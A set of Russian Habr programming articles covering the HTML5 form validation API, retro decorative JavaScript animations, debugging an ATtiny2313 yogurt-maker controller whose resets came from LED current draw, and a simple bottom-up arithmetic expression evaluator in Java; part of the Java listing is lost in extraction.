Наряду со всеми новыми атрибутами, типами input и CSS3 псевдо-классами, глава о HTML5 формах, так же определяет простой JavaScript API, что позволяет расширять возможности валидации форм несколькими полезными встроенными методами, атрибутами и событиями. Давайте взглянем на [обновленное демо](http://www.alistapart.com/d/forward-thinking-form-validation/enhanced.html), которое подключает API для проверки ограничений валидации.
Каждое поле формы имеет новый атрибут `validity`. Атрибут `validity` возвращает объект `ValidityState`, который предоставляет текущее состояние валидности. Объект `ValidityState` содержит несколько булевых переменных, которые определяют какое состояние у определенного элемента. В основном их ответы это true/false которые дают возможность разработчику понять что не так с полем:
* **valueMissing**
Этот атрибут возвращает true, если обязательное поле пустое.
* **typeMismatch**
Распространяется на новые типы input. Например, если значение email не корректно, этот атрибут возвратит true.
* **patternMismatch**
Если элемент содержит атрибут pattern и его значение не соответствует условиям регулярного выражения, атрибут вернет true.
* **tooLong**
Если значение какого либо элемента превышает его maxlength, этот атрибут вернет true.
* **rangeUnderflow** и **rangeOverflow**
Если значение элемента выходит за пределы атрибутов min или max, то этот атрибут вернет true.
* **stepMismatch**
Когда элемент с атрибутом step не соответствует требуемому значению, этот атрибут вернет true.
* **valid**
Если любое из вышеперечисленных значений возвращает true, то этот атрибут вернет false. В противном случае, если все условия выполнятся, то вернет true.
Это еще не все
--------------
Событие `invalid` несет еще одну полезную функцию. Он будет вызываться полем, пока его значение будет оставаться невалидным. Так что, с его помощью, мы можем изменять стили полей в соответствии с их текущим состоянием.
Кроме того, метод `checkValidity()` может быть выполнен на любом отдельном поле или формы в целом, вернув true или false.
Применим к демо
---------------
Давайте возьмем наше предыдущее демо и улучшим его при помощи API проверки ограничений валидации. Принимая то, что мы узнали от Luke Wroblewski в статье [Inline Validation in Web Forms](http://www.alistapart.com/articles/inline-validation-in-web-forms/) и наши собственные данные, мы можем применить эти идеи в нашей демо форме, чтобы создать оптимальный валидатор.
Первое, что мы можем исправить — это мгновенная стилизация для не валидного поля. Вместо того, чтобы сразу изменить стиль поля, показывая, что пользователь вводит некорректные данные, мы ждем пока пользователь уйдет из поля.
Если данные отвечают требованиям, даже в то время когда поле в фокусе, мы позволим пользователю узнать, что поле валидно. Мы делаем это путем добавления для `input` события для проверки валидности поля. Если все верно, то мы обновляем стили и показываем результат сразу.
Если поле имеет некорректное значение, а пользователь переходит к следующему полю, событие `blur` проверит валидность поля, а потом применит `invalid` стили. Для того, чтобы пользователь мог знать об ошибке. Это сохранит отображение стилей ошибок, до их исправления.
Что насчет старых браузеров?
----------------------------
Во всех топиках обсуждаются новинки и поддержка современных браузеров, все это хорошо, но двайте не будем забывать о реальном мире, где мы должны поддерживать и устаревшие браузеры. Для этого я написал [скрипт](http://github.com/ryanseddon/H5F) помогающий это делать.
Для браузеров не поддерживающих HTML5 формы и API проверки ограничений валидации скрипт эмулирует эту функциональность. Для браузеров поддерживающих эту функциональность, скрипт определит наличие поддержки и выполнится функциональность средствами браузера. Давайте взглянем на [очередное обновление демо](http://www.alistapart.com/d/forward-thinking-form-validation/enhanced_2.html) с добавленным скриптом. Проверьте в IE или Firefox, чтобы увидеть функциональность скрипта, такую же как у браузеров поддерживающих нужную функциональность.
Поддержка браузерами
--------------------
Скрипт протестирован и работает в следующих браузерах:
* IE6+
* Firefox 1+ — FF4 будет иметь встроенную поддержку;
* Chrome 4+ — Встроенная поддержка;
* Safari 3.2+ — Safari 5 имеет встроенную поддержку;
* Opera 9.6+ — Встроенная поддержка.
Функции эмулируемые скриптом:
* Каждое поле имеет объект `validity`, который дает возможность узнать текущее состояние;
* Доступен метод `checkValidity()` указывающий что форма или какой то отдельный элемент не валиден;
* Поддержка атрибутов `placeholder`, `required`, `min`, `max` и `step`;
* Поддержка атрибутов `placeholder` и `required` для `textarea`;
* Поддержка атрибура `required` для элемента `select`;
* Типы email и `url` для `input` будут проверяться с помощью встроенного регулярного выражения.
Изобилие проверок
-----------------
Поддержка браузерами HTML5 форм и моделя CSS3 UI начинает улучшаться. Opera9 продолжит поддержку [Web Forms 2.0](http://www.whatwg.org/specs/web-forms/current-work/) пока они не будут объединены с HTML5 формами. В Chrome появилась поддержка с версии 4, Safari получил ее недавно с выходом версии 5, Firefox должен добавить поддержку в предстоящей бета-версии 4 и IE9, если они продолжат свое развитие в таком темпе, тоже должен получить поддержку.
Мы можем сделать удивительные вещи при помощи соответствующих разделов CSS3 и HTML5. Все браузеры улучшают поддержку и такой способ проверки форм становится жизнеспособным, способным проверять любые простые или сложные формы. | https://habr.com/ru/post/105761/ | null | ru | null |
# День рождения JavaScript
[](http://habrahabr.ru/company/mailru/blog/244949/)
Всё-таки странно иногда звучит фраза «люди постарше». Особенно применительно к 30-летним. С другой стороны, мир информационных технологий меняется так быстро, что волей неволей приходится употреблять эту избитую фразу. Так вот, люди постарше ещё помнят, что когда-то не было никакого разнообразия веб-браузеров. Мир делился на два полюса, как во времена холодной войны — были только Internet Explorer и Netscape Navigator. NN был на голову лучше соперника (похоже, это просто его карма): он был быстрее, удобнее, с более широким функционалом и продуманным интерфейсом. И в недрах коллектива, создававшего Netscape Navigator в далёком 1995 году, был также разработан один из самых распространённых и популярных ныне языков программирования — JavaScript. Изначально он был наречён LiveScript, но 4 декабря 1995 года его официально переименовали. Так что сегодняшний день можно считать днём рождения JavaScript. С чем мы и поздравляем от всей души всех, кто использует JavaScript в своих проектах по долгу службы или по зову сердца!
JavaScript давно превратился в мощный универсальный язык. С его помощью сегодня можно решать разнообразные задачи, но в начале своего пути он прочно ассоциировался у нас с надоедливостью, неказистостью и низкой производительностью. Почему? Помните, как в конце девяностых-начале нулевых, многие вебмастеры любили «прикручивать» к своим сайтам всевозможные джаваскриптовые красивости? Вроде падающих снежинок, шлейфов за курсором и прочего подобного трэша? Всё бы ничего, вкус есть не у каждого, но зачастую эти примочки заставляли компьютеры так тормозить, словно они выполняли очень тяжёлые вычислительные задачи. А ведь всего-то неведомый автор сайта впилил найденный на просторах интернета скрипт, «для красоты» и потому что круто. Сейчас уже и компьютеры куда мощнее, да и любителей подобных украшений сильно поубавилось. Но всё же есть ещё адепты старой школы, которые используют скриптовые «красоты».
Например, вот такие [летающие по странице ангелочки](http://noginsk.ucoz.com/forum/42-167-1) (хотя в оригинале это были бабочки):
**Код скрипта**
```
/\*
Flying Butterfly script (By BGAudioDr@aol.com)
Modified slightly/ permission granted to Dynamic Drive to feature script in archive
\*/
var Ymax=8; //MAX # OF PIXEL STEPS IN THE "X" DIRECTION
var Xmax=8; //MAX # OF PIXEL STEPS IN THE "Y" DIRECTION
var Tmax=10000; //MAX # OF MILLISECONDS BETWEEN PARAMETER CHANGES
//FLOATING IMAGE URLS FOR EACH IMAGE. ADD OR DELETE ENTRIES. KEEP ELEMENT NUMERICAL ORDER STARTING WITH "0" !!
var floatimages=new Array();
floatimages[0]='http://noginsk.ucoz.com/ipg/papillonkiss017.gif';
floatimages[1]='http://noginsk.ucoz.com/ipg/papillonkiss018.gif';
//\*\*\*\*\*\*\*\*\*DO NOT EDIT BELOW\*\*\*\*\*\*\*\*\*\*\*
var NS4 = (navigator.appName.indexOf("Netscape")>=0 && parseFloat(navigator.appVersion) >= 4 && parseFloat(navigator.appVersion) < 5)? true : false;
var IE4 = (document.all)? true : false;
var NS6 = (parseFloat(navigator.appVersion) >= 5 && navigator.appName.indexOf("Netscape")>=0 )? true: false;
var wind\_w, wind\_h, t='', IDs=new Array();
for(i=0; i<floatimages.length; i++){
t+=(NS4)?'<layer name="pic'+i+'" visibility="hide" width="10" height="10"><a ">' : '<div id="pic'+i+'" style="position:absolute; visibility:hidden;width:10px; height:10px"><a >';
t+='<img src="'+floatimages[i]+'" name="p'+i+'" border="0">';
t+=(NS4)? '</a></layer>':'</a></div>';
}
document.write(t);
function moveimage(num){
if(getidleft(num)+IDs[num].W+IDs[num].Xstep >= wind\_w+getscrollx())IDs[num].Xdir=false;
if(getidleft(num)-IDs[num].Xstep<=getscrollx())IDs[num].Xdir=true;
if(getidtop(num)+IDs[num].H+IDs[num].Ystep >= wind\_h+getscrolly())IDs[num].Ydir=false;
if(getidtop(num)-IDs[num].Ystep<=getscrolly())IDs[num].Ydir=true;
moveidby(num, (IDs[num].Xdir)? IDs[num].Xstep : -IDs[num].Xstep , (IDs[num].Ydir)? IDs[num].Ystep: -IDs[num].Ystep);
}
function getnewprops(num){
IDs[num].Ydir=Math.floor(Math.random()\*2)>0;
IDs[num].Xdir=Math.floor(Math.random()\*2)>0;
IDs[num].Ystep=Math.ceil(Math.random()\*Ymax);
IDs[num].Xstep=Math.ceil(Math.random()\*Xmax)
setTimeout('getnewprops('+num+')', Math.floor(Math.random()\*Tmax));
}
function getscrollx(){
if(NS4 || NS6)return window.pageXOffset;
if(IE4)return document.body.scrollLeft;
}
function getscrolly(){
if(NS4 || NS6)return window.pageYOffset;
if(IE4)return document.body.scrollTop;
}
function getid(name){
if(NS4)return document.layers[name];
if(IE4)return document.all[name];
if(NS6)return document.getElementById(name);
}
function moveidto(num,x,y){
if(NS4)IDs[num].moveTo(x,y);
if(IE4 || NS6){
IDs[num].style.left=x+'px';
IDs[num].style.top=y+'px';
}}
function getidleft(num){
if(NS4)return IDs[num].left;
if(IE4 || NS6)return parseInt(IDs[num].style.left);
}
function getidtop(num){
if(NS4)return IDs[num].top;
if(IE4 || NS6)return parseInt(IDs[num].style.top);
}
function moveidby(num,dx,dy){
if(NS4)IDs[num].moveBy(dx, dy);
if(IE4 || NS6){
IDs[num].style.left=(getidleft(num)+dx)+'px';
IDs[num].style.top=(getidtop(num)+dy)+'px';
}}
function getwindowwidth(){
if(NS4 || NS6)return window.innerWidth;
if(IE4)return document.body.clientWidth;
}
function getwindowheight(){
if(NS4 || NS6)return window.innerHeight;
if(IE4)return document.body.clientHeight;
}
function init(){
wind\_w=getwindowwidth();
wind\_h=getwindowheight();
for(i=0; i<floatimages.length; i++){
IDs[i]=getid('pic'+i);
if(NS4){
IDs[i].W=IDs[i].document.images["p"+i].width;
IDs[i].H=IDs[i].document.images["p"+i].height;
}
if(NS6 || IE4){
IDs[i].W=document.images["p"+i].width;
IDs[i].H=document.images["p"+i].height;
}
getnewprops(i);
moveidto(i , Math.floor(Math.random()\*(wind\_w-IDs[i].W)), Math.floor(Math.random()\*(wind\_h-IDs[i].H)));
if(NS4)IDs[i].visibility = "show";
if(IE4 || NS6)IDs[i].style.visibility = "visible";
startfly=setInterval('moveimage('+i+')',Math.floor(Math.random()\*100)+100);
}}
function hidebutterfly(){
for(i=0; i<floatimages.length; i++){
if (IE4)
eval("document.all.pic"+i+".style.visibility='hidden'")
else if (NS6)
document.getElementById("pic"+i).style.visibility='hidden'
else if (NS4)
eval("document.pic"+i+".visibility='hide'")
clearInterval(startfly)
}
}
if (NS4||NS6||IE4){
window.onload=init;
window.onresize=function(){ wind\_w=getwindowwidth(); wind\_h=getwindowheight(); }
}
```
Это уже красочный современный вариант, да и траектория полёта довольно сложная. А вот эта летающая тарелка — словно прямиком из девяностых (надо положить alien.gif и кусочек звёздного неба space.jpg в одну папку со скриптом):
**Код скрипта**
```
<!-- Begin
document.body.background="space.jpg";
var isNS = ((navigator.appName == "Netscape") && (parseInt(navigator.appVersion) >= 4));
var pic1=document.getElementById("pic1").style;
var \_all = '';
var \_style = '';
var wwidth, wheight;
var ydir = '++';
var xdir = '++';
var id1, id2, id3;
var x = 1;
var y = 1;
var x1, y1;
if(!isNS) {
\_all='all.';
\_style='.style';
}
function getwindowsize() {
clearTimeout(id1);
clearTimeout(id2);
clearTimeout(id3);
if (isNS) {
wwidth = window.innerWidth - 55;
wheight = window.innerHeight - 50;
} else {
wwidth = document.body.clientWidth - 55;
wheight = document.body.clientHeight - 50;
}
id3 = setTimeout('randomdir()', 20000);
animate();
}
function randomdir() {
if (Math.floor(Math.random()\*2)) {
(Math.floor(Math.random()\*2)) ? xdir='--': xdir='++';
} else {
(Math.floor(Math.random()\*2)) ? ydir='--': ydir='++';
}
id2 = setTimeout('randomdir()', 20000);
}
function animate() {
eval('x'+xdir);
eval('y'+ydir);
if (isNS) {
pic1.left = x+pageXOffset;
pic1.top = y+pageYOffset;
} else {
pic1.pixelLeft = x+document.body.scrollLeft;
pic1.pixelTop = y+document.body.scrollTop;
}
if (isNS) {
if (parseInt(pic1.top) <= 5+pageYOffset) ydir = '++';
if (parseInt(pic1.top) >=wheight+pageYOffset) ydir = '--';
if (parseInt(pic1.left) >= wwidth+pageXOffset) xdir = '--';
if (parseInt(pic1.left) <= 5+pageXOffset) xdir = '++';
} else {
if (pic1.pixelTop <= 5+document.body.scrollTop) ydir = '++';
if (pic1.pixelTop >= wheight+document.body.scrollTop) ydir = '--';
if (pic1.pixelLeft >= wwidth+document.body.scrollLeft) xdir = '--';
if (pic1.pixelLeft <= 5+document.body.scrollLeft) xdir = '++';
}
id1 = setTimeout('animate()', 30);
}
window.onload=getwindowsize;
window.onresize=getwindowsize;
// End -->
```
В преддверии нового года становятся популярны скрипты, изображающие соответствующую атрибутику. Например, гирлянда в шапке страницы (нуждается в доработке):
 | https://habr.com/ru/post/244949/ | null | ru | null |
# Сказ о том как перфекционизм мне контроллер сбрасывал
Задумал я как-то купить йогуртницу. Да такую, чтобы йогурт делала хороший и всегда одного качества. Что для этого нужно? Во-первых, сырье, во-вторых, точная и стабильная температура, в-третьих, настройка времени приготовления. Стал я выбирать и столкнулся со следующей засадой: дешевые йогуртницы оказались нерегулируемые. То есть внутри нагревательный провод, и этот провод, по сути, подключается к сети. Какая температура будет при этом внутри йогуртницы, зависит от рук сборщика, температуры окружающей среды, фаз луны и глубины сна Ктулху (Ктулху фхтагн, кстати).
Само собой меня такая ситуация не устраивала. И еще больше меня напрягала ситуация вокруг йогуртниц, которые, меня по своим функциям и параметрам устраивали. Почему-то производители таких йогуртниц считают, что они поставляют на рынок изделия космической отрасли и цены на такие изделия должны быть соответствующие. Сильные душевные муки в процессе выбора довели меня до того, что я высказал любимой супруге свои возмущения по поводу негуманной ценовой политики производителей йогуртниц и в процессе словесных излияний выдал фразу «Да я сам за пятьсот рублей лучше сделаю», после чего в моей голове что-то щелкнуло…
Это была предыстория. А теперь история. В процессе построения чудесного аппарата я столкнулся с багом. При выводе текущей температуры на дисплей контроллер периодически уходил в ребут. То есть иногда он часами работал нормально, а иногда сбрасывался каждые несколько секунд. Так как это начало происходить после внедрения в прошивку функции опроса датчика ds18b20, то естественно, что за поиском бага я обратился к ней. И ничего не нашел. Стек не срывался, не в свои области памяти функция ничего не писала. В общем, работала, так как ей полагается. Причем отключение этой функции убирало баг, что явно указывало (так мне в тот момент казалось) на виновника торжества. Я подумал что всему виной система синхронизации.
Так как камень у меня маленький (attiny2313a) и таймеров на все примочки ну совершенно не хватает я вышел из положения, написав, диспетчер задач, который получает задачи и требуемое время задержки от функций, ставит их в очередь. Затем после отсчета нужного количества времени передает им управление. Минимальное время задержки я установил в 1 милисекунду. Что позволило мне устанавливать задержки от миллисекунды до минуты. Но если вы взглянете в даташит датчика ds18b20, то увидите, что общение с датчиком температуры иногда длится больше 500 микросекунд (reset и ожидание presence).
А что если в процессе этого в функцию общения влезет прерывание? Будет смещение тайм слота, из-за чего контроллер не сможет прочитать бит или правильно распознать presence. Выход я нашел в использовании синхронизации. Процесс простой. Когда функция опроса датчика видит что ей предстоит длительное общение с датчиком то она настраивает прерывание в регистре Б таймера 1 одновременно с прерыванием «диспетчера времени» которое расположено в регистре А таймера 1. А так как прерывания обрабатываются в порядке строгого соответствия с адресом вектора прерывания в таблице прерываний, то получается, что после процесса синхронизации функция опроса датчика получит управление сразу за прерыванием «диспетчера времени».
Ну и где тут может быть баг? Да везде. Но лично я подумал, что проблема может быть в пересечении прерываний. То есть в случае, когда в процессе выполнения одного прерывания приходит другое. Чистка кода для решения этой проблемы продолжалась до тех пор, пока я не обнаружил, что мои действия привели к тому, что проблема начала возникать даже при неподключенном датчике. Отключив функцию опроса датчика, я убедился, что теперь сбросы контроллера не зависят от ее работы. И тут меня озарила гениальная догадка. Нужно померить напряжение! Мультиметр бодро отчитался, что на контроллере присутствует 4,2 вольта. «Ну конечно «BOD» подумал я. И подключил к плате внешнее питание (до этого я довольствовался питанием от USB). Мультиметр довольно буркнул, что на плате 4,98 вольта. С чувством победы я включил плату, чтобы узреть невероятное. Баг присутствовал! Причем стал еще ядренее. Теперь контроллер сбрасывался каждые пару секунд, а иногда и за доли секунды. Поиски продолжились с удвоенной силой и привели к функции выводящей информацию на экран.
Как вы, наверное, догадываетесь, с ней все было нормально, тем более что после ее написания она была должным образом оттестирована. И, тем не менее, все говорило о том, что мой неуловимый баг кроется именно в ней. Обнаружилось, что баг возникает только при отображении страницы текущей температуры. Страницы отображения мощности, старта, времени бага не вызывали. Не найдя ничего что могло бы вызывать такое поведение я решил отталкиваться от питания. А именно того факта что при нормальном напряжении баг возникал чаще. Снизив напряжение, я обнаружил, что при 3,8 вольта на контроллере, последний работает стабильно. Ситуация рвала все шаблоны. И тут я вспомнил закон Ома. Ток пропорционален напряжению. Всегда? Нет. На светодиодах этот закон не работает. Точнее работает, но со своими прибамбасами.
Пропорциональность тока через диод не такая же, как на обычном резисторе, ибо полупроводниковые приборы в большинстве своем нелинейны. Вспомните хотя бы тиристор или диод зенера (стабилитрон). Вот для сравнения ВАХ светодиода из даташита (черная линия) и ВАХ резистивной нагрузки (красная линия)
Видно, что для резистивной нагрузки закон Ома бог и хозяин. Если напряжение возросло на 10%, то и ток возрастет на те же 10 %. Но светодиоду никто не указ. Если поднять на светодиоде напряжение всего на 10% (с 2 вольт до 2,2 вольт) его ток скаканет на все 100%, то есть в два раза! Но в моем случае главным оказалось то, что увеличение напряжения увеличивало и его просадку в момент включения диода. А таких диодов у меня оказалось 32! Четыре семисегментных индикатора по восемь светодиодов в каждом (семь сегментов и точка). Они у меня подключены не через мультиплексирование, а через сдвиговые регистры потому что:
1. Выводов котроллера attiny2313 катастрофически не хватало.
2. Меня раздражает их мерцание при подключении мультиплексированием(перфекционизм номер раз)
3. На вывод мультиплексированием расходуется много ресурсов контроллера (перфекционизм номер два)
Кроме того я подключил сдвиговые регистры с функцией отключения экрана на время обновления дисплея (перфекционизм номер три). Зачем мне сдалась эта фича — не знаю. Ведь выбранная мною логика может работать вплоть до частоты 100мгц. Соответственно данные в нее можно задвигать на полной частоте работы контроллера, которая у меня равна 10мгц. Ну кто успеет заметить перемещение битов по разрядам индикатора на такой частоте?
Идем дальше. Питание моей схемы обеспечивает регулятор L7805, вот его схема подключения.
Регулятор без проблем обеспечивает ток в 1А. На выходе с регулятора стоит конденсатор 0,1 микрофарад, который, по идее должен сглаживать колебания тока. Его заряд при 5 вольтах равен 0,5 микрокулон. При 3,8 вольта заряд соответственно 0,38 микрокулон. При 3,8 вольтах светодиоды кушают около 288мА, а при 5 вольтах около 416мА. Соответственно при поднятии напряжения с 3,8 вольта до 5 вольт заряд запасаемый конденсатором возрастет на 24 % но потребляемый ток в то же время увеличится на 30 с лишним процентов. Расчеты конечно примерные но показывают что просадка по напряжению в такой схеме тем больше чем больше напряжение питания. При 3,8 вольта просадка не являлась критичной для контроллера. А вот при 5 вольтах просадка увеличилась и начала сбрасывать контроллер. А сброс контроллера именно на странице отображения температуры происходил потому, что именно на этой странице были задействованы все индикаторы дисплея.
Решение оказалось простым. В коде нужно было просто закомментить строчки включения и выключения индикаторов sbi displayPort, offDispWire и cbi displayPort, offDispWire.
```
ldi XL, videoMem
cbi displayPort, shiftWire
cbi displayPort, storageWire
;sbi displayPort, offDispWire
ZpushToDisplay:
ldi temp2, 8
ld temp, X+
ZnextbitToDisplay:
cbi displayPort, dataWire
sbrc temp, 7
sbi displayPort, dataWire
sbi displayPort, shiftWire
cbi displayPort, shiftWire
lsl temp
dec temp2
cpi temp2, 0
brne ZnextbitToDisplay
cpi XL, videoMem+sizeVideoMem
brne ZpushToDisplay
sbi displayPort, storageWire
cbi displayPort, storageWire
;cbi displayPort, offDispWire
```
Сбросы прекратились. И жил контроллер долго и счастливо.
З.Ы. процесс поиска неуловимого бага указал на еще один косяк в схеме. Дело в том что максимальная рассеиваемая мощность сдвиговых регистров около 0,5 ватта, а ток через вывод питания или землю около 70 милиампер. Если на дисплее отображается восьмерка с точкой, то ток через сдвиговый регистр должен составить около 104 милиампер, что, как вы понимаете, является превышением. Дело не в том, что я не учел этот момент. Я учел. Но в процессе расчета резистора для светодиода поддался минутной слабости и забыл, что светодиод является нелинейным элементом и для снижения тока через него в два раза недостаточно в два раза увеличить сопротивление токоограничивающего резистора. В общем, в любой непонятной ситуации смотри ВАХ! | https://habr.com/ru/post/386199/ | null | ru | null |
# Пузырьковый вычислитель выражений: простейший синтаксический LR-анализатор вручную
Приветствую уважаемое сообщество.
Последнее время я уделял некоторое внимание теме синтаксического анализа (с целью в том числе улучшить собственные знания и навыки), и у меня создалось впечатление, что почти все курсы по компиляторам начинают с математических формализмов, и требуют сравнительно высокого уровня подготовки от изучающего. Либо там используется в большом количестве формальная математическая запись, как в классической Dragon Book, в которой, например, написано:
Это может с непривычки напугать. Нет, с какого-то момента формальная запись становится удобной и даже необходимой, но для “человека с улицы”, который хотел бы, чтобы ему “на пальцах” объяснили, “в чем тут дело”, это может быть сложно. А вопрос “что такое LL и LR — анализ, и в чем между ними разница” программисты задают довольно часто (потому что не все программисты имеют формальное образование в области Computer Science, как и я, и не все из них проходили там курс по компиляторам).
Мне более близок подход, когда сначала мы берем задачу, пытаемся ее решить, и в процессе решения сначала вырабатываем интуитивное понимание принципа, а потом уже для этого понимания создаем математические формализмы. Поэтому я на очень простом примере в этой статье хочу показать, какая идея лежит в основе восходящего синтаксического анализа (он же bottom-up parsing, он же LR). Будем вычислять арифметическое выражение, в котором для еще большего упрощения будем поддерживать только операторы сложения, умножения и скобки (чтобы не усложнять пример отрицательными числами и поддержкой унарного минуса).
Перед тем, как перейти непосредственно к задаче, напишу некоторые соображения вообще на тему синтаксического разбора.
Синтаксический разбор — это одно из фундаментальных понятий в компьютерной науке (в той ее части, что о формальных языках, фактически языках программирования), поэтому к необходимости разобраться в этой теме приходит рано или поздно почти любой программист. Особенно когда ему начинает хотеться написать какой-нибудь мини-интерпретатор какого-нибудь мини-языка, который ему рано или поздно захочется реализовать. Причем иногда программист может даже не осознавать, что он конструирует интерпретатор, а думать, что вот он придумал «удобный формат» для описания каких-то «правил», или «действий», или «конфигурации», и теперь ему надо «этот формат читать». По моему мнению, это закономерный процесс, который приводит к концепции языково-ориентированного программирования, когда язык общего назначения используется для создания интерпретатора DSL (Domain Specific Language), и дальше этот DSL все шире используется в проекте, потому что так как-то само собой получается, что эту предметную область описывать удобнее именно с помощью DSL.
Поэтому синтаксический разбор и важен, что интерпретатор без него не построишь. А задача вычисления арифметических выражений — наверное, одна из самых простых задач, которая для своего решения уже требует синтаксического разбора. Поэтому обычно ознакомление с этой сложной темой начинают чаще всего с нее.
Как можно вычислить арифметическое выражение? Можно преобразовать его в Reverse Polish Notation и вычислить на стэке, можно написать анализатор, который вычислит его методом рекурсивного спуска, можно использовать shunting yard algorithm, можно использовать генератор синтаксических анализаторов (ANTLR или bison), который по составленной грамматике сделает синтаксический анализатор, и вычислить выражение в нем.
Но использование инструментов, таких как ANTLR или bison оставляет ощущение, что ты запустил какую-то магию, тебе сгенерировали синтаксический анализатор по грамматике, которую ты составил, и дальше ты его используешь и не понимаешь, как он работает. Как будто тебе его дали свыше какие-то высшие силы, превосходящие способности твоего понимания. Кроме того, при использовании этих инструментов мы всегда начинаем плясать от грамматики языка, который хотим разбирать, а сама по себе задача составить грамматику не так уж проста. Надо понимать, что это такое, как она работает, как устранять левую рекурсию (и что это такое вообще), почему некоторые грамматики для LR могут не работать для LL и как их переписывать, если надо, чтобы работали, и все такое. Сразу это может быть сложно, особенно если такое понятие, как «грамматика» (и предшествующие ей понятия «продукция», «терминальный символ», «нетерминальный символ», «правосентенциальная форма» и много других страшных слов) еще не входит в понятийный аппарат («активный словарный запас») программиста, который пытается написать ну, допустим, тот же вычислитель арифметических выражений. Поэтому для понимания концепции восходящего синтаксического анализа можно попробовать решить какую-нибудь простую задачу, но самостоятельно.
Переходим к задаче: будем вычислять арифметическое выражение, используя некую разновидность восходящего (bottom-up) анализа (если точнее, то этот метод называется “синтаксический анализ приоритета операторов”). Алгоритм неоптимальный, но зато простой для понимания. Он напоминает тоже неоптимальный, но понятный и поэтому всем известный алгоритм пузырьковой сортировки.
Чтобы не углубляться в частности, поступим как ленивые ленивцы, и будем поддерживать только операторы \* (умножение), + (сложение) и скобки. Перед тем, как пойдем дальше, задержимся на скобках.
В самом деле, представим себе, что нам не надо поддерживать скобки. Тогда алгоритм вычисления выражения получается очень простым и понятным:
1. Просканировать строку слева направа, и выполнить все операторы умножения (допустим, на входе была строка 1 + 5 \* 7 + 3, на выходе получилось 1 + 35 + 3)
2. Просканировать то, что получилось на шаге 1, и выполнить все операторы сложения (было на входе 1 + 35 + 3, получилось на выходе 39).
3. Отдать то, что получилось на шаге 2, в качестве результата.
Не нужен никакой синтаксический анализ! Входная структура является плоской, и для работы с ней синтаксический анализ не требуется. Необходимость в нем появляется, когда появляется необходимость поддерживать скобки (и другие аналоги — операторные скобки begin..end, вложенные блоки, и т. п.). Входная структура перестает быть плоской и становится древовидной (то есть самоподобной, рекурсивной), и с этого момента для работы с ней тоже нужно применять рекурсивные методы и методы синтаксического анализа. То есть, например, 5 \* (2 + 3) — это выражение, но и (2 + 3) — это тоже выражение. И то и другое можно дать на вход синтаксическому анализатору выражений. Но про синтаксический анализ методом рекурсивного спуска сейчас речь не идет, так что пойдем дальше.
Чтобы много не заниматься сейчас лексическим анализом, договоримся, что лексическим анализатором для нас выступит функция String.split (для тех, кто забыл или пока «не в теме» — лексический анализатор — эта такая штука, которой мы на вход даем строку, а она нам нарезает ее на массив подстрок(токенов). В нашем случае это будет, например ' ( 2 + 3 ) ' -> ['(', '2', '+', '3', ')'])
Неформальное описание нашего алгоритма будет таким:
1. Просканировать строку, раскрыть все скобки, какие можем.
2. Просканировать строку, выполнить все операторы умножения, какие можем.
3. Просканировать строку, выполнить все операторы сложения, какие можем.
Как мы поймем, что можем выполнить оператор умножения или сложения? По признаку, что и слева, и справа от оператора — число. Как мы поймем, что можно раскрыть скобки? Когда внутри скобок — только выражение, в котором нет никаких других скобок.
Собственно, дальнейшее, мне кажется, будет понятным из текста программы и вывода результата ее работы. (Учтите, в программе могут быть ошибки, она писалась чисто для демонстрационных целей).
```
package demoexprevaluator;
import java.io.PrintStream;
import java.util.ArrayList;
public class DemoExprEvaluator {
// какая же многословная эта ваша Java...
public class CalcResult {
public boolean operationOccured;
public String resultString;
public CalcResult(boolean op, String r){
this.operationOccured = op;
this.resultString = r;
}
}
// вспомогательная функция для облегчения работы лексическому анализатору
public String spreadSpaceBetweenTokens(String s){
StringBuilder r = new StringBuilder();
for (int i = 0; i stack = new ArrayList<>();
String[] lexems = getLexems(exprWithoutParens);
for(int i = 0; i < lexems.length; i++) {
stack.add(lexems[i]);
if (stack.size() >= 3) {
String left = stack.get(stack.size()-3);
String middle = stack.get(stack.size()-2);
String right = stack.get(stack.size()-1);
if (Character.isDigit(left.charAt(0)) && middle.equals(operator) && Character.isDigit(right.charAt(0))){
Integer operand1 = Integer.valueOf(left);
Integer operand2 = Integer.valueOf(right);
Integer res = 0;
if (operator.equals("\*")) {
res = operand1 \* operand2;
}
if (operator.equals("+")) {
res = operand1 + operand2;
}
stack.remove(stack.size()-1); // like "pop"
stack.remove(stack.size()-1);
stack.remove(stack.size()-1);
stack.add(res.toString());
}
}
}
return String.join("", stack);
}
// вычисляет выражение, в котором не должно быть скобок
public String evalExprWithoutParens(String exprWithoutParens) {
// здесь определяем приоритеты операторов: сначала выполняем вызов для умножения, потом для сложения
String result = applyOperator(exprWithoutParens, "\*");
result = applyOperator(result, "+");
return result;
}
// мы ничего не имеем права складывать, пока мы все не перемножили
// мы ничего не имеем права перемножать, пока мы не раскрыли все скобки
// скобки мы имеем право раскрыть только тогда, когда внутри скобок все сложено и перемножено
// но мы имеем право складывать и перемножать все, что внутри парных вложенных скобок, причем других парных вложенных скобок между ними нет
// ...(2+2)... -> ...4...
public CalcResult openSingleParen(String expr) {
CalcResult r = new CalcResult(false, expr);
String[] lexems = getLexems(expr);
ArrayList stack = new ArrayList<>();
int lpindex = 0;
for(int i = 0; i < lexems.length; i++){
String lexem = lexems[i];
stack.add(lexem);
if (lexem.equals("(")) {
lpindex = i;
}
if (lexem.equals(")") && !r.operationOccured) {
stack.remove(stack.size()-1);
int numOfItemsToPop = i - lpindex - 1;
StringBuilder ewp = new StringBuilder(); // ewp <=> expression without parethesis
for (int j = 0; j < numOfItemsToPop; j++) {
ewp.insert(0, stack.get(stack.size()-1));
stack.remove(stack.size()-1);
}
System.out.println("about to eval ewp:" + ewp);
String ewpEvalResult = evalExprWithoutParens(ewp.toString());
stack.remove(stack.size()-1); // removing opening paren from stack
stack.add(ewpEvalResult);
r.operationOccured = true;
}
}
r.resultString = String.join("", stack);
return r;
}
public void Calculate(String expr) {
System.out.println("They want us to calculate:" + expr);
CalcResult r = new CalcResult(false, expr);
// раскрываем все скобки
while (true) {
System.out.println(r.resultString);
r = openSingleParen(r.resultString);
if (!r.operationOccured) {
break;
}
}
// сейчас в r.resultString скобок уже нет, можно довычислить выражение
r.resultString = evalExprWithoutParens(r.resultString);
System.out.println("The result is: " + r.resultString);
}
public static void main(String[] args) {
DemoExprEvaluator e = new DemoExprEvaluator();
String expr = "2+300\*(4+2)\*((8+5))";
e.Calculate(expr);
}
}
```
Вывод работы:
`They want us to calculate:2+300*(4+2)*((8+5))
2+300*(4+2)*((8+5))
about to eval ewp:4+2
2+300*6*((8+5))
about to eval ewp:8+5
2+300*6*(13)
about to eval ewp:13
2+300*6*13
